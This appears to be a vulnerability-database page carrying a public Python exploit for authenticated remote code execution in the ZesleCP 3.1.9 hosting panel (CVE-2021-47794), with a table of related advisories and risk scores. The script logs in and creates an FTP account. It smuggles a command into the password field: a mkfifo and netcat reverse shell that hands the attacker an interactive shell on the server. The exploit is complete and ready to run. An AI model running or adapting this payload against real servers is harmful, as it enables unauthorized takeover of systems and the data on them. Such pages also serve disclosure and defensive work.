ZesleCP 3.1.9 - Authenticated Remote Code Execution (RCE)
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2021-47794 | 15 Jan 202623:25 | – | attackerkb | |
| ZesleCP operating system command injection vulnerability | 16 Jan 202600:00 | – | cnnvd | |
| CVE-2021-47794 | 15 Jan 202623:25 | – | cve | |
| CVE-2021-47794 ZesleCP 3.1.9 - Remote Code Execution (RCE) (Authenticated) | 15 Jan 202623:25 | – | cvelist | |
| EUVD-2026-3003 | 16 Jan 202600:30 | – | euvd | |
| CVE-2021-47794 | 16 Jan 202600:16 | – | nvd | |
| CVE-2021-47794 | 16 Jan 202600:16 | – | osv_cve | |
| PT-2026-3166 | 15 Jan 202600:00 | – | ptsecurity | |
| CVE-2021-47794: Improper Neutralization of Special Elements used in an OS Command | 16 Jan 202600:00 | – | rapid7 | |
| CVE-2021-47794 ZesleCP 3.1.9 - Remote Code Execution (RCE) (Authenticated) | 15 Jan 202623:25 | – | vulnrichment |
# Title: ZesleCP 3.1.9 - Remote Code Execution (RCE) (Authenticated)
# Date: 27.08.2021
# Author: Numan Türle
# Vendor Homepage: https://zeslecp.com/
# Software Link: https://zeslecp.com/
# Version: <=3.1.9
# https://www.youtube.com/watch?v=5lTDTEBVq-0
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# ZesleCP - Remote Code Execution (Authenticated) ( Version 3.1.9 )
# author: twitter.com/numanturle
# usage: zeslecp.py [-h] -u HOST -l LOGIN -p PASSWORD
# https://www.youtube.com/watch?v=5lTDTEBVq-0
import argparse,requests,warnings,json,random,string
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from cmd import Cmd
warnings.simplefilter('ignore',InsecureRequestWarning)
def init():
parser = argparse.ArgumentParser(description='ZesleCP - Remote Code Execution (Authenticated) ( Version 3.1.9 )')
parser.add_argument('-u','--host',help='Host', type=str, required=True)
parser.add_argument('-l', '--login',help='Username', type=str, required=True)
parser.add_argument('-p', '--password',help='Password', type=str, required=True)
args = parser.parse_args()
exploit(args)
def exploit(args):
listen_ip = "0.0.0.0"
listen_port = 1337
session = requests.Session()
target = "https://{}:2087".format(args.host)
username = args.login
password = args.password
print("[+] Target {}".format(target))
login = session.post(target+"/login", verify=False, json={"username":username,"password":password})
login_json = json.loads(login.content)
if login_json["success"]:
session_hand_login = session.cookies.get_dict()
print("[+] Login successfully")
print("[+] Creating ftp account")
ftp_username = "".join(random.choices(string.ascii_lowercase + string.digits, k=10))
print("[+] Username : {}".format(ftp_username))
print("[+] Send payload....")
payload = {
"ftp_user": ftp_username,
"ftp_password":"1337';rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f;echo '".format(listen_ip,listen_port)
}
try:
feth_weblist = session.post(target+"/core/ftp", verify=False, json=payload, timeout=3)
except requests.exceptions.ReadTimeout:
pass
print("[+] Successful")
else:
print("[-] AUTH : Login failed msg: {}".format(login_json["message"]))
if __name__ == "__main__":
init()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 48.7
CVSS 3.18.8
EPSS0.02492
SSVC